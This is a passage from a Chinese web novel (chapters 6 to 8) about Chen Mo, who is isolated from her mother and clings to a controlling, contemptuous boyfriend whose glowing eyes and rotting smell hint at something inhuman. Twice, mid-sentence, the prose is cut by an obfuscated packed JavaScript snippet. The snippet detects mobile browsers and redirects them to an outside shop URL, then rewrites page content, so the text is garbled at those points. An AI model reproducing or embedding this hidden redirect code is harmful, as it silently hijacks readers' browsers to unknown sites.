她不敢想。 但她知道一件事—— 她不能让他甩了她。 不能。 她三十了怎么办？三十五了怎么办？离开他，她能去哪？ 回妈妈那儿？ 妈妈那天晚上说的话，她现在还记得——下贱，玩物，就当没生过你。 她回不去了。 银行那点工资，够干什么？ 她算过很多次。每个月到手六千出头，房租两千五，水电燃气两百，交通两百，吃饭一千五，电话费一百，乱七八糟的日用品三百——剩下一千出头。 这一千多，能干什么？ 买件衣服就没了。生个病就没了。出点什么事就没了。 她在这个城市待了十年，存款不到两万。两万能干什么？交三个月房租？买张回老家的车票？ 回老家能干什么？二十八岁，没结婚，没孩子，没存款，回老家干什么？听人说闲话？看人眼色？ 她回不去。 朋友？早就不联系了。 家人？妈妈说了，当她死了。 她只有王志强。 只有这个嫌她老、嫌她胖、嫌她不会做饭的男人。 只有这个让她倒洗脚水、骂她不知好歹、说她拿不出手的男人。 只有这个从来不洗澡、沙发垫上永远有个印子、半夜会悄无声息消失的男人。 她必须抓住他。 不管他是什么。 不管他洗不洗澡。 不管他是不是人。 她必须抓住他。 正想着，卧室门开了。 王志强走进来，往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387618|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上一躺。 床垫陷下去一块，陈默的身体跟着歪了一下。 他躺在那儿，背对着她，什么话都没说。 陈默侧过身，看着他的后背。 他穿着那件衬衫，没换。背上有点皱，光线暗，看不清有没有汗渍。 她张了张嘴。 “王志强。” 他没回头。 “嗯？” “我……” 他翻了个身，面对着她。 黑暗里，他的眼睛亮了一下。 就一下。 她看见了。 “对了，明天有个哥们来，你和我一起去见一面。” 陈默愣了一下。 “明天？” “嗯，中午。他正好来这边办事，一起吃个饭。你打扮一下，别给我丢人。” 陈默张了张嘴。 明天。 明天早上九点，外拓。 全员参加，不得请假。 周行长那张脸。工作群里那行字。商场门口站六个小时。发传单，拉人办信用卡。 “我……” “怎么？”王志强看着她，“你有事？” 陈默看着他。 黑暗里，他的眼睛在反光。 不是正常的那种反光，是像猫、像狗、像什么夜里会发光的动物那种反光。 她见过这种光。 第一次是她数完三十秒开门的那天晚上。他站在门外，整个人在黑暗里，只有两只眼睛亮着。 后来再没见过。 现在又出现了。 他盯着她。 那两只发光的眼睛，就那么盯着她。 在等她的回答。 “我……”她说，“没事。” 王志强盯着她，看了两秒。 那两只眼睛还亮着。 “那就行。明天十一点出门，你早点准备。” 他翻过身，背对着她。 那两只眼睛的光消失了。 陈默躺着，盯着他的后背。 他背对着她，呼吸均匀，像什么都没发生过。 但那两只眼睛亮过。 她看见了。 不是幻觉。 是真的。 她慢慢从枕头底下摸出手机，打开微信，找到周行长的对话框。 屏幕的光刺得她眼睛疼。她眯着眼，开始打字。 “周行长，明天家里有急事，外拓请假。” 打完，盯着看。 家里有急事。什么急事？王志强的哥们来了，要去见一面，这叫急事？ 她删掉。 “周行长，明天身体不舒服，去不了外拓。” 身体不舒服。怎么不舒服？说不出来。明天要是被看见在外面吃饭呢？周行长住得不远，万一碰见呢？ 她删掉。 “周行长，明天——” 打不下去了。 她盯着屏幕，盯了很久。 王志强在旁边呼吸，一起一伏。那两只眼睛现在闭着，但她知道它们刚才睁着。盯着她。等她回答。 她闭上眼睛。 脑子里两个声音在打架。 一个说：你不能请假。周行长说了，不得请假。你请了，她怎么看你？你业绩本来就差，再请假，以后还怎么混？ 另一个说：你必须去。王志强让你去。他要带你见朋友，这是好事。也许他想定下来了？也许他准备带你见父母了？你不能不去。 一个说：他算什么？他骂你，嫌你，说他外面有人想跟他。你还要去？ 另一个说：你只有他了。 一个说：你没了他能死吗？ 另一个说：不能死，但能活成什么样？ 她不知道。 她真的不知道。 她睁开眼，又看手机。 屏幕还亮着，那行字还在那儿：“周行长，明天——” 她深吸一口气，把后面打全了。 “周行长，明天家里有急事，外拓请假。实在对不起。” 发送。 屏幕显示发送成功的那一刻，她盯着那行小字，盯了很久。 “发送成功”。 发了。 她把手机塞回枕头底下，闭上眼。 旁边王志强的呼吸还是那么均匀，一起一伏。他睡得很沉，什么都没听见。 她不知道他睡没睡着。 她也不知道自己明天会怎样。 但她知道一件事—— 她发了那条微信。 为了抓住他。 为了不被甩。 为了三十岁的时候，还有地方可去。 她发了。 眼泪从眼角滑下来，流进耳朵里，痒痒的。 她没擦。 窗外路灯的光照进来，把天花板照成灰白色。 她盯着那片灰白，一直盯到天亮。 五 早上七点，手机震了。 陈默拿起来看。 周行长的回复： “知道了。下次提前说。” 七个字。 没有问什么急事，没有说准不准，没有发火，没有批评。 就七个字。 知道了。下次提前说。 陈默盯着那七个字，盯了很久。 然后她把手机放下，起床，走进卫生间，洗脸，刷牙，化妆。 镜子里的自己，眼袋确实重。她用遮瑕盖了盖，盖不住。又盖一层，还是盖不住。 下巴那几颗痘，红红的，用粉底盖了，还是能看出来。 胖了。 她说不上来胖在哪，但就是胖了。脸圆了一点，腰粗了一点，整个人像被吹起来一点点。 老了。 她盯着镜子里的那个人。 那个人也盯着她。 她突然想起昨晚，王志强说她老了的时候，眼睛里那种光——不是发光，是别的东西。 是满意。 是那种“你越老越跑不掉”的满意。 她浑身发冷。 化完妆，换好衣服，她走出卫生间。 王志强已经起来了，坐在沙发上，拿着手机。 他抬头看她，上下打量了一眼。 “行，还行。” 还行。 不是“漂亮”，不是“好看”，是“还行”。 陈默点点头。 “什么时候出门？” “十一点。你先收拾着，我出去一趟，十一点回来接你。” 他站起来，往外走。 走到门口，他回头看了她一眼。 “打扮精神点，别给我丢人。” 门关上了。 陈默站在客厅里，看着那扇门。 门关着，他走了。 她站在那儿，不知道自己在想什么。 然后她走进卧室，坐在床上，等十一点。 窗外阳光很好。 周六的早上，外面有人在遛狗，有人在跑步，有小孩在笑。 她坐在床上，听着那些声音，一动不动。 手机放在旁边，屏幕黑着。 周行长的回复她看了很多遍。 知道了。下次提前说。 下次。 还有下次吗？ 她不知道。 她只知道现在，她要等十一点，等王志强回来，等去见他的哥们，等打扮精神点，等别给他丢人。 她等着。 一直等着。 窗外阳光越来越亮。 她坐在那片阳光里，一动不动。 --- 第六章完 7. 第七章 我肯定对你好 第七章我肯定对你好 一 陈默收拾好的时候，正好十点五十。 她站在镜子前，把自己从头到脚检查了一遍。 衣服是前天刚买的——一件淡蓝色的连衣裙，领口有点低，但她配了一条丝巾，正好挡住。裙子是收腰的，把她这两年长的那点肉都藏起来了。她转了个身，看后面，裙摆刚好到膝盖，露出一截小腿。 鞋是去年买的，白色的，只穿过两次，还很新。 头发她盘起来了，露出脖子，显得精神。妆比平时浓了一点——遮瑕盖了三层，终于把眼袋盖住大半；粉底厚了一点，痘印看不太出来了；口红选了豆沙色，不艳不俗，正好。 她又看了一眼镜子。 还行。 王志强说的“还行”。 她拿起包，走到客厅，坐下，等。 十点五十三。 手机放在茶几上，屏幕黑着。她盯着那团黑，不知道自己在想什么。 窗外的阳光很亮，照进来一块，落在地板上。那块光在慢慢移动，从地板移到茶几脚，又从茶几脚移到沙发腿。 她看着那块光移动，看它一寸一寸往前走。 十点五十七。 手机响了。 王志强的名字在屏幕上亮着。 她接起来。 “下来。” 挂了。 陈默站起来，最后看了一眼客厅——沙发垫上的印子还在，但已经很浅了，不注意看根本看不出来。茶几上她擦过了，没有灰。地板她也拖过了，很干净。 她不知道自己在看什么。 也许是想记住这个家今天的样子。 也许是想确认自己没什么可挑剔的。 她关上门，下楼。 电梯里只有她一个人。电梯壁是镜面的，照出她的全身。她看了一眼，又移开目光。 楼下停着一辆黑色奔驰，王志强的车。 她走过去，拉开副驾驶的门，坐进去。 二 车里空调开得很足，冷气扑面而来，陈默胳膊上起了一层鸡皮疙瘩。 王志强没看她，盯着前方，一只手搭在方向盘上，一只手拿着手机在看。 “系安全带。” 陈默系上安全带。 车开动了。 她坐得很直，双手放在膝盖上，眼睛看着前方。车窗外的街景往后掠，阳光照进来，落在她手上，热热的。 王志强没说话。 他开着车，偶尔看一眼手机，偶尔看一眼后视镜，就是没看她。 陈默觉得有点闷。 不是车里的闷——空调开着，不闷。是那种两个人坐在一起，谁都不说话的闷。那种闷从胸口往上涌，堵在喉咙那儿，让人想干点什么把它冲开。 她张了张嘴。 “今天天气挺好的。” 王志强没反应。 她等了两秒，又说：“太阳这么大，应该挺热的。” 王志强“嗯”了一声。 就一声。 陈默攥了攥手指。 她又说：“你那个朋友，叫什么来着？我见过吗？” “没见过。” “他是做什么的？” “做工程的。” “你们认识多久了？” “十几年了。” 陈默点点头。 对话又断了。 她看着窗外，想再找个话题。路边的店铺一家一家往后闪，便利店、水果店、理发店、房产中介。她盯着那些店名，脑子里拼命想——还能聊什么？还能说什么？ “他结婚了吗？” “结了。” “有孩子吗？” “有。” “男孩女孩？” 王志强皱了一下眉头。 那一下皱得很轻，但陈默看见了。 “女孩。”他说。 陈默点点头。 “挺好的，女孩好。” 王志强没说话。 她又说：“几岁了？” “不知道。” 陈默愣了一下。 “你朋友的孩子，你不知道几岁？” 王志强没回答。 他看着前方，脸上没什么表情。但那表情让陈默觉得，她不应该再问了。 她闭上嘴，看着窗外。 车里又安静下来。 空调嗡嗡响着，轮胎压过路面的声音闷闷的，偶尔有别的车从旁边超过去，带起一阵风。 陈默坐得更直了。 她不知道自己在紧张什么。就是觉得，不说话不行，不说话会更尴尬。但说话又说不到点子上，说什么他都不爱听。 她试着换个方向。 “我今天这件衣服，新买的，你觉得怎么样？” 王志强瞥了她一眼。 “还行。” 还行。 和她想的一样。 “我之前那条裙子，你说太素了，我就买了这条，带点颜色的。”她扯了扯裙摆，“你觉得这颜色行吗？” “行。” “会不会太正式了？就吃个饭，穿这个会不会奇怪？” “不会。” 陈默点点头。 又没话了。 她盯着前方，看到前面路口红灯，车慢慢停下来。 阳光照进来，落在她膝盖上，热热的。她低头看着那片光，突然想起一件事。 “对了，上次你说你们公司要开户，周行长又问了一次。你看什么时候方便，去行里办一下？” 王志强扭头看她。 那一眼有点长。 陈默被看得有点不自在。 “怎么了？” “你就不能说点别的？”他说。 陈默愣了一下。 “什么？” “开户开户开户，”他语气里带着点不耐烦，“好不容易周末出来一趟，你就跟我说这个？” 陈默张了张嘴。 “我……我就是想起来——” “想起来？”他打断她，“你天天就想这些？上班想，下班想，周末出来吃饭还想？” 红灯变绿，后面的车按喇叭。 王志强踩下油门，车冲出去。 陈默攥紧手指，没再说话。 她看着窗外，阳光很亮，刺得眼睛疼。她把目光收回来，盯着前面的仪表盘。 仪表盘上有几个灯亮着，她看不懂是什么。 她盯着那些灯，盯了很久。 三 车开了一会儿，王志强的手机响了。 他看了一眼屏幕，接起来，按了免提。 “喂，老张！” 那边传过来一个男人的声音，嗓门很大，带着点口音：“志强！到哪儿了？” “路上，还有二十分钟。你呢？” “我到了，订好包厢了，就等你俩了！” “行，一会儿见。” “诶，带嫂子来啊？我还没见过嫂子呢！” 王志强笑了一声，那笑声和跟陈默说话的时候完全不一样——轻松，随意，带着点得意。 “带了，车上呢。” “哟，那得好好看看！嫂子哪儿人啊？” “本地的。” “本地的好啊！我跟你说，我就想找个本地的，知根知底——” “你他妈有老婆了还想着找本地的？”王志强笑着骂了一句。 那边也笑：“想想不行啊？我跟你说，男人嘛，看看又不犯法——哎嫂子别介意啊，开玩笑的！” 陈默勉强笑了一下，不知道说什么。 那边又说：“嫂子做什么工作的？” “银行的。”王志强说。 “银行的？！那可牛逼了！我跟你说，我最佩服银行的人，那数学得好吧？我一看数字就头疼——” “你他妈看什么数字不头疼？”王志强又骂了一句。 那边哈哈大笑。 两人就这么聊着，你一句我一句，全是脏话，全是吹牛。 “上个月那个工程，我跟你讲，差点没把我累死。那帮工人，真他妈难管，天天要加钱，不加就罢工——” “你那工地不行，我跟你说，你得找靠谱的人。我这边那几个，跟了我七八年了，一个屁都不放。” “你命好呗！我这儿换了好几拨了，没一个省心的。” “你那工地什么破地方？鸟不拉屎的，能招到人就烧高香了。” “可不嘛！我跟你说，下次再有工程，你给我介绍几个靠谱的——” “行啊，中介费先打过来。” “你他妈掉钱眼里了？” 两人又笑。 陈默坐在副驾驶，听着他们聊天，一句话都插不进去。 她看着王志强。 他脸上带着笑，是那种放松的、得意的笑。说话的时候手会动，比划来比划去，嗓门也比刚才大了不少。偶尔骂一句脏话，骂完还笑，笑得眼睛都眯起来。 和刚才跟她说话的时候，完全是两个人。 陈默盯着他的侧脸，突然想起另一张脸。 是她妈妈的脸。 是她妈妈坐在家里沙发上，脸色铁青，一言不发的样子。 那是快两年前的事了。 四 那是他们刚在一起一年多的时候。 王志强说要上门见见她父母。陈默犹豫了很久，不知道该不该答应。她知道王志强什么样——说话糙，爱吹牛，一身江湖气。她爸妈都是老实本分的人，在厂里干了一辈子，退休了就在家带带孙子，哪见过这种“社会人”？ 但她又想，也许见了面就好了。也许爸妈看到他本人，会发现他其实挺靠谱的——有车有房，有公司，能挣钱。也许他们会觉得，虽然糙了点，但对女儿好就行。 她跟王志强说了好几次，让他见父母的时候注意点，少说话，别说脏话，别吹牛，别抽烟。 王志强每次都答应。 “知道知道，你放心，我有数。” 她信了。 那天是周六，陈默提前回家帮忙做饭。她妈在厨房忙了一上午，炖了排骨，烧了鱼，炒了好几个菜。她爸把家里收拾得干干净净，还特意泡了一壶好茶。 十一点多，王志强来了。 拎了两瓶酒，一条烟，一盒茶叶，往茶几上一放，嗓门挺大：“叔叔阿姨好！” 陈默她妈笑着招呼：“来了来了，快坐快坐。” 王志强坐下，翘起二郎腿，开始聊天。 一开始还行。问做什么工作的，他说做工程的；问家里几口人，他说就自己，父母在老家；问以后有什么打算，他说好好干，多挣点钱。 陈默在旁边听着，松了口气。 但没过多久，就不对了。 她爸问：“做工程，辛苦吧？” 王志强说：“辛苦是辛苦，但挣钱啊。我跟您说，这个年头，干什么不辛苦？上班不辛苦？坐办公室也辛苦。关键看挣多少。” 她爸点点头。 王志强继续说：“我那个项目，去年接了个大单，利润这个数——”他比了个手势，“一年顶上班十年。” 陈默她妈看了陈默一眼。 陈默低下头。 王志强还在说：“现在这社会，就得闯。您说您二老在厂里干一辈子，挣多少？够买套房吗？我们这一代人，不闯不行。” 陈默她爸脸色有点变了。 陈默赶紧岔开话题：“爸，你那个茶叶，泡了吗？让王志强尝尝。” 她爸站起来去泡茶。 王志强没察觉，还在说：“我这个人吧，就实在，有什么说什么。我不像那些年轻人，装模作样的，没意思。” 茶端上来，王志强喝了一口。 “这茶不错，多少钱一斤？” 她爸说：“朋友送的，不知道多少钱。” 王志强说：“送的一般都不行，下次我给您带点好的。我认识一个茶商，专门做这个的，他那儿的茶，那才叫茶。” 陈默攥紧手指。 她妈站起来：“我去看看汤好了没有。” 厨房里传来炒菜的声音，盖住了客厅的动静。 陈默看着王志强，想给他使眼色。 但他没看她。 他在跟她爸说话，越说越起劲。 “叔叔，我跟您说，陈默跟我，您放心。我这个人，别的没有，就是实在。我对她是真心的，以后肯定对她好。” 她爸点点头，没说话。 王志强又说：“我知道您二老可能对我不太了解，觉得我年纪大了点。但年纪大有年纪大的好处，成熟，稳重，知道疼人。那些小年轻，懂什么？” 陈默她爸端起茶杯，喝了一口。 吃饭的时候，更糟了。 王志强喝酒。陈默她爸不喝，他就自己倒了一杯，一边吃一边喝，一边喝一边说。 “阿姨，这排骨炖得真好，比我妈炖的都好。” 陈默她妈笑笑：“好吃就多吃点。” “我跟您说，我妈做饭不行，就会炖个鸡汤。我小时候天天喝鸡汤，喝得我现在看见鸡就烦。” 他夹了一大块排骨，啃得满嘴是油。 “叔叔，您这鱼烧得好，有饭店的水平。您以前学过厨师？” 陈默她爸说：“没有，就自己瞎做。” “那您有天分。我跟您说，现在饭店里的菜，都不如家里做的好吃。那些厨师，就知道放味精，吃完口渴半天。” 他又喝了一口酒。 “对了，陈默说她有个弟弟？在哪儿上班？” 陈默她妈说：“在深圳，做IT的。” “IT好啊，挣钱。不过深圳那地方，房价太高了吧？他买房了吗？” “还没，刚去两年。” “那得抓紧买，房价一年一个价。我跟您说，现在不买，以后更买不起。我那个朋友，前年在深圳买了一套，两百万，今年涨到三百万了。一年涨一百万，干什么能挣这么多？” 陈默她妈没说话。 王志强继续说：“他要是有需要，跟我说。我认识几个做贷款的，利息低，手续快。买房嘛，就得靠贷款，全款谁买得起？” 陈默忍不住了。 “王志强，你少喝点。” 王志强看她一眼。 “没事，这点酒算什么？我平时在外面喝得比这多多了。” 他又倒了一杯。 吃完饭，陈默去厨房洗碗。 她妈跟进来，压低声音说：“这人怎么回事？” 陈默没说话。 “说话那个样子，脏话连篇的，你听听他说的什么？” 陈默继续洗碗。 “还有他那个态度，跟你爸说话，像跟下属说话似的。你爸一辈子，什么时候被人这么说过？” 陈默攥紧手里的碗。 “陈默，妈跟你说，这个人不行。你趁早分了。” 陈默把碗放进碗架，擦干手，走出厨房。 客厅里，王志强躺在沙发侧面的躺椅上，翘着二郎腿，在看电视。她爸坐在旁边，一言不发。 陈默走过去，站在王志强面前。 “走吧。” 王志强看她一眼。 “走什么？再坐会儿。” “走吧。” 她语气很硬。 王志强看了她两秒，站起来。 “行，走。” 他跟她爸打了个招呼：“叔叔，我先走了，改天再来看您。” 她爸点点头，没说话。 王志强走到门口，回头看了陈默一眼。 “你送送我？” 陈默跟他出去。 走到楼下，王志强站住了。 “怎么样，你看我老丈人丈母娘多喜欢我。” 陈默没说话。 “你脸色怎么这么不好？你爸妈都喜欢我，你又在这摆什么脸子。” 陈默还是没说话。 王志强盯着她，看了几秒。 “行，我走了。” 他上了车，走了。 陈默站在楼下，看着那辆车消失在拐角。 她站了很久。 然后她上楼，推开门。 她妈坐在沙发上，脸色铁青。 “陈默，你过来。” 她走过去，坐下。 “妈跟你说的，你听见没有？” 陈默低着头。 “这个人不行。你跟他分了。” 陈默没说话。 “你听见没有？” “听见了。” “那你什么时候分？” 陈默抬起头。 “妈，他……他对我挺好的。” 她妈愣了一下。 “对你好？他那叫对你好？他那个样子，那个态度，那叫对你好？” 陈默低下头。 “他……他就是说话那样，其实人挺好的。” 她妈盯着她，看了很久。 “陈默，你是不是傻？” 陈默没说话。 她妈站起来。 “我告诉你，你要是跟这个人在一起，以后有你哭的时候。” 她走进卧室，关上门。 陈默坐在沙发上，一动不动。 她爸在旁边坐着，一直没说话。 过了一会儿，她爸站起来，也进了卧室。 门关上了。 陈默一个人坐在客厅里，坐到天黑。 五 那天之后，她爸妈又说了很多次。 每次打电话都说，每次回家都说。 “分了没有？” “还没？” “你到底要拖到什么时候？” 陈默一开始还解释，说他其实挺好的，就是说话糙了点。 后来她不解释了。 就听着。 再后来，她不接电话了。 她妈发微信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387619|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她隔很久才回一个字。 她妈说：你回来一趟，咱们好好谈谈。 她回：忙。 她妈说：你是不是非要跟他在一起？ 她没回。 她妈说：陈默，你这样会后悔的。 她没回。 最后一次，是她妈打来电话。 她接起来。 “陈默。” “嗯。” “我再问你一次，你分不分？” 陈默没说话。 那边沉默了很久。 然后她妈说：“陈默，我生你养你二十八年，就是让你跟这种人在一起的？你贱不贱啊？” 陈默攥紧手机。 “妈——” “你别叫我妈。”她妈打断她，“我告诉你，你要是非跟他在一起，以后就别回来了。我就当没生过你这个女儿。” 嘟——嘟——嘟—— 挂了。 陈默举着手机，听着那一声一声的忙音。 忙音响了很久。 然后屏幕暗下去。 她站在那儿，站了很久。 那天晚上，她收拾了行李，搬到了王志强家。 王志强在门口接她，帮她拎箱子。 “没事，以后这儿就是你家。” 陈默看着他。 “你以后会对我好吗？” 王志强笑了。 “那当然，我肯定对你好。” 她信了。 她跟着他走进去。 门在身后关上。 六 “想什么呢？” 王志强的声音把陈默拉回来。 她愣了一下，发现车已经停了。窗外是一个很大的停车场，他们到了。 “没什么。”她说。 王志强看着她。 “刚才叫你好几声，发什么呆？” 陈默摇摇头。 “没发呆，就是有点累了。” 王志强没再问，推开门下车。 陈默也下去。 阳光很刺眼，她眯着眼，跟着王志强往饭店走。 脑子里还在想刚才那些事。 两年前的事了。 她妈说的那些话，她现在还记得。 “你贱不贱啊？” “我就当没生过你这个女儿。” 她跟着王志强走进饭店，走进包厢，见到他的朋友，坐下来，吃饭，喝茶，听他们聊天。 她一句话都没说。 不是不想说。 是不知道该说什么。 她坐在那儿，看着王志强和他的朋友喝酒、吹牛、骂脏话。 就像两年前，她坐在家里沙发上，看着王志强和她爸说话一样。 那时候她以为，只要她忍一忍，一切都会好起来。 现在呢？ 她还在忍。 七 吃完饭，回去的路上，王志强又接了个电话。 是他妈打来的。 陈默听出来了——那边说话的口音，和王志强一样。 “妈，嗯，在外头吃饭呢。跟朋友。没事，你说。” 那边说了什么。 王志强听着，时不时“嗯”一声。 然后他说：“行，我知道了。过年再说吧。” 那边又说了什么。 王志强笑了一声。 “她啊？就那样呗。还行。” 陈默攥紧手指。 那边又说了几句。 王志强说：“行了行了，我知道了。挂了啊。” 挂了。 车里安静下来。 陈默看着窗外，没说话。 王志强也没说话。 过了一会儿，他开口了。 “我妈问，什么时候带你回去。” 陈默愣了一下。 “回去？” “嗯，回老家。” 陈默看着他。 他目视前方，脸上没什么表情。 “你怎么说的？” “说过年再说。” 陈默点点头。 “哦。” 又没话了。 车继续开着。 陈默看着窗外，脑子里乱糟糟的。 回老家。 见他父母。 她等这一天，等了三年。 但现在真的听到这句话，她突然不知道自己是什么感觉。 高兴？紧张？害怕？ 好像都不是。 是一种说不出来的空。 就像等了很久的东西，终于要来了，但你已经不确定自己还想要不要了。 她转过头，看着王志强的侧脸。 阳光照在他脸上，把那层油光照得发亮。啤酒肚挺着，衬衫皱巴巴的，领口敞着，露出脖子下面那块红红的皮肤。 她看了很久。 然后她把目光收回去，继续看着窗外。 八 车停在家楼下的时候，已经快四点了。 王志强熄了火，靠在椅背上，没动。 陈默也没动。 两个人就那么坐着，谁都不说话。 过了一会儿，王志强开口了。 “陈默。” “嗯？” “你今天怎么了？” 陈默愣了一下。 “什么怎么了？” “一中午不说话，问你就说累了。累了累了，你累什么？” 陈默没说话。 王志强转过头看她。 “你是不是有什么意见？” 陈默摇摇头。 “没有。” “那你为什么那样？” “哪样？” “就那样。”他盯着她，“摆个脸，不说话，问什么都不说。你知不知道你这样很扫兴？” 陈默攥紧手指。 “我没摆脸。” “还没摆？你以为我看不出来？” 陈默张了张嘴，又闭上。 王志强盯着她，看了几秒。 然后他推开门，下去了。 陈默坐着没动。 她看着他的背影绕过车头，走进单元门，消失在电梯里。 她坐在车里，坐了很久。 太阳慢慢往下沉，阳光变成橘红色，照进来，落在她手上。 她低头看着自己的手。 手上有几道细纹，是这几年长的。 她盯着那些细纹，盯了很久。 然后她也推开门，下车，上楼。 九 电梯上行的时候，她想起一件事。 两年前，她搬来那天，也是这个电梯。 她拎着行李，站在电梯里，看着电梯壁上自己的影子。那时候她二十五，脸上没皱纹，下巴不长痘，眼睛里还有光。 她问自己：你会后悔吗？ 她回答：不会。 现在她二十八，站在同一个电梯里，看着同一个自己。 眼睛下面有眼袋，下巴上有痘，脸上有细纹，眼睛里—— 没有光了。 电梯门开了。 她走出去。 门虚掩着，王志强没关。 她推开门，走进去。 客厅里没人。沙发上有个印子，是他刚躺过的。茶几上放着他的手机，屏幕亮着，不知道在看什么。 她换了鞋，走进卧室。 王志强躺在床上，已经闭上眼了。 她躺到他旁边，隔着一个人的距离，盯着天花板。 天花板还是那样，灰白色，有一点光从窗帘缝里漏进来，照出一小块亮。 她盯着那块亮。 盯了很久。 然后她听见王志强的声音。 “陈默。” 她转过头。 他还闭着眼。 “嗯？” “今天还行，没给我丢人。” 陈默没说话。 他翻了个身，背对着她。 “睡吧。” 陈默看着他的后背。 那件衬衫还是早上那件，背上有点皱，光线暗，看不清有没有汗渍。 她盯着那个后背，盯了很久。 然后她闭上眼。 脑子里反复响起一句话。 那句话是两年前，她坐在他车上，哭着问他的时候，他说的。 他说—— “我肯定对你好。” 她信了。 她现在还信。 因为她只能信。 因为不信的话，她这两年的坚持算什么？ 因为她不信的话，她妈说的那些话就成真了。 她贱。 她把自己卖给一个老男人。 她活该。 她不能信那个。 她只能信他说的那句——我肯定对你好。 她只能信。 --- 第七章完 8. 第八章 你身上有味道了 第八章你身上有味道了 一 那天晚上，王志强又出去了。 陈默躺在床上，听见他在客厅里打电话。 “行，我马上到。嗯，老地方。” 然后是钥匙的声音，开门的声音，关门的声音。 脚步声在走廊里越来越远，然后消失了。 陈默睁开眼，盯着天花板。 九点四十。 周六的晚上，他出去了。 她没问去哪儿，没问和谁，没问几点回来。 三年了，她早就不问了。 问了他也不会说，说了也是假的，假的听了还不如不问。 她翻了个身，把脸埋进枕头里。 枕头上有股味道——不是她的，是他的。那种油油的、腻腻的味道，这几天越来越明显了。以前他身上什么都没有，现在有了，而且一天比一天重。 她不知道这是好事还是坏事。 有味道，说明他像个人了。 但那个味道不对。 不是汗味，不是烟味，不是酒味。 是别的。 像什么东西，放久了，开始从里面往外烂。 她把脸埋得更深，想躲开那个味道。 但躲不开。 到处都是。 二 陈默不知道自己什么时候睡着的。 再睁开眼的时候，天已经亮了。 周日早上，阳光从窗帘缝里漏进来，在地上切出一条亮线。 她躺在床上，盯着那条亮线，听客厅里的动静。 没有声音。 他还没回来。 她坐起来，下床，走出卧室。 客厅空的。茶几上放着他昨晚扔下的钥匙和打火机。沙发垫上有个印子，很浅，是昨天下午他躺过的。 她站在客厅中央，看着那个印子。 然后她闻到那个味道了。 不是从他身上发出来的，是从沙发上发出来的。从那块印子里发出来的。像有什么东西渗进去了，渗进沙发垫里，从里面往外散发。 她走过去，蹲下来，凑近闻了闻。 是那个味道。 油油的，腻腻的，带点甜，又带点酸。 像肉放坏了的那种甜酸。 她站起来，退后一步。 然后她走进卫生间，打开花洒，开始洗澡。 水很热，冲在身上有点疼。她站在水底下，闭着眼，一动不动。 洗了很久。 出来的时候，手机上有一条微信。 王志强发的： “晚上回去。” 她盯着那四个字，盯了很久。 晚上回去。 现在才早上八点。 他说的晚上，是几点？八点？十点？十二点？还是凌晨？ 她不知道。 她把手机放下，擦干头发，换了身衣服，出门。 三 周日街上人很多。 陈默漫无目的地走着，不知道要去哪儿。 她走过便利店，走过水果店，走过房产中介，走过奶茶店。奶茶店门口排着长队，都是年轻女孩，说说笑笑的。 她站在旁边看了一会儿。 那些女孩都很年轻，二十出头，脸上满满的都是胶原蛋白。她们穿着短裙，露着腿，扎着马尾，笑得很大声。 陈默低头看了看自己。 淡蓝色连衣裙，白色鞋子，头发盘着，妆化着。 她站在那群女孩旁边，像两个世界的人。 她转身走了。 走了一会儿，她发现自己站在一个小区门口。 是妈妈住的那个小区。 她已经有半年没回来了。 上次回来，是过年的时候。她一个人回来的，王志强没来。妈妈开门看见她，脸上什么表情都没有，就侧身让她进来。 吃饭的时候，谁都没说话。 她爸想说什么，被她妈瞪了一眼，就不说了。 吃完饭她帮忙洗碗，她妈站在厨房门口，看着她。 “他还那样？” 陈默没说话。 “陈默，你还要这样到什么时候？” 陈默把碗放进碗架，擦干手，拿起包。 “妈，我先走了。” 她妈没拦她。 走出门的时候，她听见身后传来一声叹息。 就一声。 她没回头。 现在她站在小区门口，看着那扇熟悉的铁门。 铁门开着，里面有人在遛狗，有小孩在跑，有老人在下棋。 她站了很久。 然后她转身走了。 四 下午三点多，陈默回到家。 开门的时候，她愣了一下。 王志强回来了。 他躺在沙发上，拿着手机在看。电视开着，放什么综艺节目，罐头笑声一阵一阵的。 陈默站在门口，看着他。 他抬头看了她一眼。 “去哪儿了？” “随便走走。” 他“嗯”了一声，继续看手机。 陈默换鞋，放下包，走进卧室。 躺下。 盯着天花板。 外面电视的声音隐隐约约传进来，笑声，掌声，音乐声。 她躺在那儿，一动不动。 不知道过了多久，王志强进来了。 他走到床边，坐下。床垫陷下去一块，她的身体跟着歪了一下。 “陈默。” 她没动。 “陈默。” 她转过头看他。 他看着她，表情有点奇怪。 “怎么了？”她问。 他没说话，就看着她。 看了很久。 然后他说：“你身上有味道了。” 陈默愣了一下。 “什么？” “你身上，有味道了。” 她低头闻了闻自己。 刚洗过澡，换了干净衣服，什么味道都没有。 “什么味道？”她问。 王志强没回答。 他站起来，走出卧室。 陈默躺着，盯着天花板。 她身上有味道了？ 什么味道？ 她不知道。 但她想起一件事—— 他从来不洗澡。 他从来闻不到自己身上的味道。 但他现在能闻到她身上的味道了？ 她坐起来，走出卧室。 王志强坐在沙发上，继续看电视。 她站在他面前。 “王志强。” 他抬头。 “我身上有什么味道？” 他看着她，没说话。 “你说清楚，什么味道？” 他笑了一下。 那笑容很短，就一下。 “没什么，可能我闻错了。” 他把目光移回电视上。 陈默站着，看着他。 电视里的笑声一阵一阵的，很吵。 她站了很久。 